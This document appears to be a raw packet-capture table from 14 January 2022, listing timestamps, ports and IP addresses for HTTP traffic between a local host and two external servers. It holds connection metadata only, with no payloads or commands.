Jan 14, 2022 09:26:02.976313114 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976320028 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976344109 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976350069 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976372004 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976381063 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976408005 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976408958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976433992 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976440907 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976464033 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976471901 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976499081 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976500988 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976526022 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976531982 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976555109 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976562977 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976588011 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976593018 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976619005 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976627111 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976650953 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976655960 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976680040 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976686954 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976711035 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976717949 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976739883 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976753950 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976779938 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976785898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976807117 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976815939 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976839066 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976846933 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976866961 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976876974 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976898909 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976907015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976929903 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976936102 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976953983 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976969957 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.976996899 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.976998091 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977020025 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977029085 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977051020 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977057934 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977080107 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977088928 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977107048 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977118969 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977139950 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977148056 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977168083 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977179050 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977202892 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977207899 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977231026 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977236032 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977256060 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977266073 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977287054 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977293968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977318048 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977324009 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977344036 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977355003 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977371931 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977391005 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977404118 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977423906 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977440119 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977453947 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977473974 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977494001 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977514029 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977524042 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977544069 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977555037 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977571964 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977583885 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977606058 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977613926 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977633953 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977643967 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977664948 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977674961 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977698088 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977706909 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977724075 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977735996 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977757931 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977766037 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977787971 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977797031 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977813959 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977830887 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977857113 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977888107 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977900982 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977921963 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977947950 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.977952003 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977974892 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.977979898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978002071 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978010893 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978032112 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978049040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978063107 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978080034 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978101015 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978110075 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978132963 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978140116 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978161097 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978169918 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978192091 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978199005 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.978220940 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.978249073 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.989023924 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.989097118 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.993949890 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.995481968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995528936 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995573044 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995615005 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995655060 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995673895 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.995697021 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995702982 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.995707035 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.995729923 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.995743036 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995789051 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995816946 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.995829105 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995861053 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995903969 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995940924 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.995970964 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.995989084 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996017933 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996035099 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996167898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996196985 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996207952 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996308088 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996340990 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996354103 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996402979 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996436119 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996449947 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996498108 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996527910 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996546030 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996589899 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996618032 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996629953 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996674061 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996706963 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996717930 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996752024 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996779919 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996797085 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996834040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996861935 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996880054 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996917963 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996961117 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.996962070 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.996993065 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997020006 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997023106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997055054 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997087002 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997088909 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997122049 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997149944 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997153044 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997184038 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997210026 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997214079 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997245073 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997272968 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997275114 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997314930 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997342110 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997344971 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997378111 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997406006 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997410059 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997441053 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997466087 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997472048 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997503042 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997534037 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997536898 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997565031 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997591019 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997596979 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997629881 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997657061 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997662067 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997693062 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997720003 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997724056 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997755051 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997801065 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997823954 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997836113 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997903109 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997922897 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997936010 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997967005 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.997992992 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.997999907 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998028040 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998034000 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998064995 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998095036 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998105049 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998126030 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998156071 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998157978 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998187065 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998213053 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998217106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998250008 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998279095 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998281956 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998312950 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998342991 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998344898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.998394966 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.998400927 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.999938011 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.000579119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.000952959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.001101017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.001300097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.001480103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.001616955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002057076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002073050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002243042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002259970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002455950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002470970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002629995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002648115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002793074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002808094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002966881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.002985001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003146887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003161907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003350019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003370047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003508091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003524065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003690958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003707886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003863096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.003879070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004048109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004065037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004220963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004237890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004406929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004425049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004591942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004607916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004775047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004791975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004944086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.004962921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005134106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005151987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005294085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005310059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005466938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005485058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005629063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005645037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005801916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005819082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005963087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.005978107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006329060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006347895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006500006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006519079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006700039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006725073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006877899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.006896973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007054090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007076025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007239103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007252932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007414103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007431984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007585049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007602930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007746935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007764101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007934093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007941008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.007961988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.008150101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.008167982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.008310080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009196997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009440899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009581089 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.009618998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009634018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009818077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009835958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.009922981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.010093927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.010112047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.013952971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.015604973 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015661001 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015710115 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015759945 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015800953 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.015815973 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015851021 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.015867949 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015924931 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.015954018 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.015975952 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016026974 CET	80	49906	8.209.70.0	192.168.2.4
